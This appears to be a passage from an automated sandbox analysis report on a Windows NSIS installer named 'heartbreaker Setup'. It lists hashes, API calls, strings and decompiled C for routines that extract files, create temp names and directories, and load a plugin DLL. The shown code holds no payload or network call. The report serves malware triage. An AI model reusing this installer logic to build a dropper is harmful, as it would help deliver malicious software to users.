Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\US1pwXib6h.exe" $(pA$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\US1pwXib6h.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-1613913542
Opcode ID: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction ID: bb8333a86194dcf573844375b596ab0c7c07cd824b72df89bd2f0bbec4532e5a
Opcode Fuzzy Hash: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction Fuzzy Hash: 21511971A00214ABDB209F65DE89B9E7BB4EF04319F10403BF904B62D1D7BC9E458BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E004029F6(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
				_t33 = E0040553D(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004054D0(E004059DD(0x409b50, "C:\\Users\\engineer\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409b50);
					E004059DD();
				}
				E00405C3F(0x409b50);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405CD8(0x409b50);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x18);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405695(0x409b50);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004056B4(0x409b50, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0x34) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404D7B(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423f08;
						goto L32;
					} else {
						E004059DD(0x40a350, 0x424000);
						E004059DD(0x424000, 0x409b50);
						E004059FF(_t75, 0x40a350, 0x409b50, "C:\Users\engineer\AppData\Local\Temp\nsu6AA7.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x10)));
						E004059DD(0x424000, 0x40a350);
						_t62 = E0040529E("C:\Users\engineer\AppData\Local\Temp\nsu6AA7.tmp\System.dll",  *(_t85 - 0x24) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423f08 =  &( *0x423f08->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409b50);
								_push(0xfffffffa);
								E00404D7B();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404D7B(0xffffffea,  *(_t85 - 8));
				 *0x423f34 =  *0x423f34 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0x34));
				_push( *((intOrPtr*)(_t85 - 0x1c)));
				_t43 = E00402E5B(); // executed
				 *0x423f34 =  *0x423f34 - 1;
				__eflags =  *(_t85 - 0x18) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x18) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 0x34)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffee);
					} else {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffe9);
						lstrcatA(0x409b50,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409b50);
					E0040529E();
					goto L29;
				}
				goto L33;
			}

0x00401734
0x0040173b
0x00401744
0x00401747
0x0040174a
0x0040174f
0x00401757
0x00401773
0x00401759
0x00401759
0x0040175a
0x0040175a
0x00401779
0x00401783
0x00401783
0x00401787
0x0040178a
0x0040178f
0x00401791
0x00401793
0x00401798
0x00401798
0x004017a3
0x004017a3
0x004017b4
0x004017b6
0x004017b6
0x004017b7
0x004017b7
0x004017ba
0x004017bd
0x004017c0
0x004017c0
0x004017c7
0x004017d6
0x004017db
0x004017de
0x004017e1
0x00000000
0x00000000
0x004017e3
0x004017e6
0x00401840
0x00401845
0x004015a8
0x0040265c
0x0040265c
0x0040288b
0x0040288e
0x0040288e
0x00000000
0x004017e8
0x004017ee
0x004017f9
0x00401806
0x00401811
0x00401827
0x00401827
0x0040182a
0x00000000
0x00401830
0x00401830
0x00401831
0x0040184e
0x00402894
0x00402894
0x00402894
0x00401833
0x00401833
0x00401834
0x00401492
0x0040220e
0x0040220e
0x0040220e
0x00401831
0x0040182a
0x00402896
0x0040289a
0x0040289a
0x0040185e
0x00401863
0x00401869
0x0040186a
0x0040186b
0x0040186e
0x00401871
0x00401876
0x0040187c
0x00401880
0x00401882
0x0040188a
0x00401896
0x00401884
0x00401884
0x00401888
0x00000000
0x00000000
0x00401888
0x0040189f
0x004018a5
0x004018a7
0x00000000
0x004018ad
0x004018ad
0x004018b0
0x004018c8
0x004018b2
0x004018b5
0x004018be
0x004018be
0x004018cd
0x004018d2
0x00402209
0x00000000
0x00402209
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,heartbreaker Setup,NSIS Error), ref: 004059EA

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

Strings

C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp, xrefs: 0040177E, 004017ED, 0040180B
Call, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll, xrefs: 00401801, 0040181D
C:\Users\user\AppData\Local\Temp, xrefs: 00401761

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp$C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll$Call
API String ID: 1941528284-1463976495
Opcode ID: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction ID: 7896ef4f757b45501086316f909c91b804aeab5b8a53035332c5850d51b772f7
Opcode Fuzzy Hash: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction Fuzzy Hash: FA41C272900615BACF10BBA5DD46EAF3A79EF01329B20433BF515F11E1D63C4A419AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402E5B(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t62;
				void* _t63;
				int _t66;
				intOrPtr _t74;
				long _t75;
				int _t78;
				void* _t88;
				intOrPtr _t91;
				void* _t93;
				long _t96;
				signed int _t97;
				long _t98;
				int _t99;
				void* _t100;
				long _t101;
				void* _t102;

				_t97 = _a16;
				_t93 = _a12;
				_v12 = _t97;
				if(_t93 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t88 = _t93;
				if(_t93 == 0) {
					_t88 = 0x40f020;
				}
				_t60 = _a4;
				if(_a4 >= 0) {
					_t91 =  *0x423ed8; // 0x97ec
					E00403080(_t91 + _t60);
				}
				_t62 = E0040304E( &_a16, 4); // executed
				if(_t62 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t93 == 0) {
							while(_a16 > 0) {
								_t98 = _v12;
								if(_a16 < _t98) {
									_t98 = _a16;
								}
								if(E0040304E(0x40b020, _t98) == 0) {
									goto L34;
								} else {
									_t66 = WriteFile(_a8, 0x40b020, _t98,  &_a12, 0); // executed
									if(_t66 == 0 || _t98 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t63);
										return _t63;
									} else {
										_v8 = _v8 + _t98;
										_a16 = _a16 - _t98;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t97) {
							_t97 = _a16;
						}
						if(E0040304E(_t93, _t97) != 0) {
							_v8 = _t97;
							goto L45;
						} else {
							goto L34;
						}
					}
					_v16 = GetTickCount();
					E00405DD9(0x40af90);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E0040304E(0x40b020, _t99) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t99;
						 *0x40afa8 = 0x40b020;
						 *0x40afac = _t99;
						while(1) {
							 *0x40afb0 = _t88;
							 *0x40afb4 = _v12; // executed
							_t74 = E00405DF9(0x40af90); // executed
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t100 =  *0x40afb0; // 0x40f020
							_t101 = _t100 - _t88;
							_t75 = GetTickCount();
							_t96 = _t75;
							if(( *0x423f34 & 0x00000001) != 0 && (_t75 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404D7B(0,  &_v88);
								_v16 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_t88 =  *0x40afb0; // 0x40f020
									L24:
									if(_v24 != 1) {
										continue;
									}
									goto L45;
								}
								_t78 = WriteFile(_a8, _t88, _t101,  &_v20, 0); // executed
								if(_t78 == 0 || _v20 != _t101) {
									goto L29;
								} else {
									_v8 = _v8 + _t101;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

0x00402e63
0x00402e67
0x00402e6a
0x00402e6f
0x00402e71
0x00402e71
0x00402e78
0x00402e7c
0x00402e80
0x00402e82
0x00402e82
0x00402e87
0x00402e8c
0x00402e8e
0x00402e97
0x00402e97
0x00402ea2
0x00402ea9
0x00402ff9
0x00402ff9
0x00000000
0x00402eaf
0x00402eb3
0x00402fe4
0x00403039
0x00402ffe
0x00403004
0x00403006
0x00403006
0x00403017
0x00000000
0x00403019
0x00403024
0x0040302c
0x00402fde
0x00402fde
0x00402ffb
0x00402ffb
0x00000000
0x00403033
0x00403033
0x00403036
0x00000000
0x00403036
0x0040302c
0x00403017
0x00403044
0x00000000
0x00403044
0x00402fe9
0x00402feb
0x00402feb
0x00402ff7
0x00403041
0x00000000
0x00000000
0x00000000
0x00000000
0x00402ff7
0x00402ec4
0x00402ec7
0x00402ecc
0x00402ecc
0x00402ed6
0x00402ed9
0x00000000
0x00000000
0x00000000
0x00000000
0x00402edf
0x00402edf
0x00402edf
0x00402ee7
0x00402ee9
0x00402ee9
0x00402efa
0x00000000
0x00000000
0x00402f00
0x00402f03
0x00402f09
0x00402f0f
0x00402f17
0x00402f1d
0x00402f22
0x00402f29
0x00402f2c
0x00000000
0x00000000
0x00402f32
0x00402f38
0x00402f3a
0x00402f47
0x00402f49
0x00402f77
0x00402f7d
0x00402f86
0x00402f8b
0x00402f8b
0x00402f92
0x00402fd2
0x00000000
0x00000000
0x00000000
0x00402f94
0x00402f97
0x00402fb7
0x00402fba
0x00402fbd
0x00402fc3
0x00402fc7
0x00000000
0x00000000
0x00000000
0x00402fcd
0x00402fa3
0x00402fab
0x00000000
0x00402fb2
0x00402fb2
0x00000000
0x00402fb2
0x00402fab
0x00402f92
0x00402fda
0x00000000
0x00402fda
0x00000000
0x00402edf

APIs

GetTickCount.KERNEL32 ref: 00402EB9
GetTickCount.KERNEL32 ref: 00402F3A
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F67
wsprintfA.USER32 ref: 00402F77
WriteFile.KERNELBASE(00000000,00000000,0040F020,00000000,00000000), ref: 00402FA3

Strings

... %d%%, xrefs: 00402F71

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction ID: 77f196e3f4de2b0f7ff2a56d5fa3bb7e3b28ee40e2402e388f788a2720e93e15
Opcode Fuzzy Hash: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction Fuzzy Hash: F151917190121A9BCF10CF55DA48AAF7B78AF04795F10413BF810B72C0D7B89E50DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E004029F6(0xfffffff0);
				_t10 = E00405564(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E004054FB(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x004015b3
0x004015ba
0x004015bd
0x004015c2
0x004015c6
0x004015c8
0x004015d0
0x004015d6
0x004015d8
0x004015db
0x004015e3
0x004015f0
0x004015fd
0x004015fd
0x004015f2
0x004015f3
0x004015fb
0x00000000
0x00000000
0x004015fb
0x004015f0
0x00401600
0x00401603
0x00401605
0x00401606
0x004015c8
0x0040160d
0x0040162d
0x00402164
0x0040160f
0x00401611
0x0040161c
0x00401622
0x00401622
0x0040288e
0x0040289a

APIs

Part of subcall function 00405564: CharNextA.USER32(00405316,?,00421880,00000000,004055C8,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000), ref: 00405572
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405577
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405586

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-1104044542
Opcode ID: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction ID: ffaaac8e814952d4dd163c137c14166a37b00a477d69e33f5cc6849720afcf5a
Opcode Fuzzy Hash: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction Fuzzy Hash: 86010831908180ABDB116F795D44D6F27B0DA52365728473BF491B22E2C23C4942962E

Uniqueness

Uniqueness Score: -1.00%

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056E3(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

0x004056e7
0x004056ed
0x004056ee
0x004056ee
0x004056ef
0x004056f6
0x00405700
0x0040570d
0x00405710
0x00405718
0x00000000
0x00000000
0x0040571c
0x00000000
0x00000000
0x0040571e
0x00000000
0x0040571e
0x00000000

APIs

GetTickCount.KERNEL32 ref: 004056F6
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 00405710

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056E3, 004056E6
nsa, xrefs: 004056EF
"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 004056EA

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\US1pwXib6h.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2247345021
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 090c9869d25c952b380026dfe3028592f3e254e5657c021594612e0629f183dd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: AFF0A736348204B7D7104F55EC04B9B7F5DDF91750F14C027F944DA1C0D6B1995597A5

Uniqueness

Uniqueness Score: -1.00%

Function 738616DB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E738616DB(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v88;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x7386405c = _a8;
				 *0x73864060 = _a16;
				 *0x73864064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x73864038, E73861556);
				_push(1); // executed
				_t37 = E73861A98(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E738622AF(_t54);
					}
					E738622F1(_t67, _t54);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x810) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_t37 = E738624D8(_t54);
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x818; // 0x818
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E7386156B(_t54,  &_v88);
								 *(_t54 + 0x834) =  *(_t54 + 0x834) & 0x00000000;
								_t18 = _t54 + 0x818; // 0x818
								_t72 = _t18;
								 *((intOrPtr*)(_t54 + 0x820)) = _t42;
								 *_t72 = 3;
								E738624D8(_t54);
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							E738624D8(_t54);
							_t37 = GlobalFree(E73861266(E73861559(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E7386249E(_t54);
							if(( *(_t54 + 0x810) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x808);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x810) & 0x00000020) != 0) {
								_t37 = E738614E2( *0x73864058);
							}
						}
						if(( *(_t54 + 0x810) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E73862CC3(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E73862A38(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E738626B2(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x738616db
0x738616db
0x738616db
0x738616e5
0x738616ed
0x738616fa
0x73861708
0x7386170b
0x7386170d
0x73861712
0x73861717
0x73861836
0x73861836
0x7386171d
0x73861721
0x73861724
0x73861729
0x7386172b
0x73861731
0x73861737
0x73861767
0x7386176e
0x73861792
0x738617dd
0x73861794
0x73861794
0x73861795
0x7386179b
0x7386179c
0x738617a6
0x738617a9
0x738617ae
0x738617b5
0x738617b5
0x738617bc
0x738617c2
0x738617c8
0x738617d5
0x738617d6
0x738617d9
0x73861770
0x73861771
0x73861786
0x73861786
0x738617e7
0x738617ea
0x738617f7
0x738617fe
0x73861806
0x73861809
0x73861809
0x73861806
0x73861816
0x7386181e
0x73861823
0x73861816
0x7386182b
0x00000000
0x7386182d
0x00000000
0x7386182e
0x7386182b
0x7386173b
0x7386173e
0x7386175c
0x00000000
0x00000000
0x7386175f
0x73861764
0x73861764
0x73861766
0x00000000
0x73861766
0x73861740
0x73861741
0x73861749
0x7386174a
0x00000000
0x7386174a
0x73861743
0x73861744
0x73861752
0x00000000
0x73861752
0x73861747
0x00000000
0x00000000
0x00000000
0x73861747

APIs

Part of subcall function 73861A98: GlobalFree.KERNEL32 ref: 73861D09
Part of subcall function 73861A98: GlobalFree.KERNEL32 ref: 73861D0E
Part of subcall function 73861A98: GlobalFree.KERNEL32 ref: 73861D13

GlobalFree.KERNEL32 ref: 73861786
FreeLibrary.KERNEL32(?), ref: 73861809
GlobalFree.KERNEL32 ref: 7386182E

Part of subcall function 738622AF: GlobalAlloc.KERNEL32(00000040,?), ref: 738622E0

Part of subcall function 738626B2: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,73861757,00000000), ref: 73862782

Part of subcall function 7386156B: wsprintfA.USER32 ref: 73861599

Strings

, xrefs: 7386180F

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 8913b4fd85a119a39d060086f75badf0fbfef5435718b6317b01cfb8a6ff525a
Instruction ID: c5048f82e95031f26bba3fe429575d188ecf1616b5498f2072decf3a2c8db80e
Opcode Fuzzy Hash: 8913b4fd85a119a39d060086f75badf0fbfef5435718b6317b01cfb8a6ff525a
Instruction Fuzzy Hash: FE418D72500708DBDB01AFF899C5B9A37AEBB04311F1894A5E90B9E1DBDF748145CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F51(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
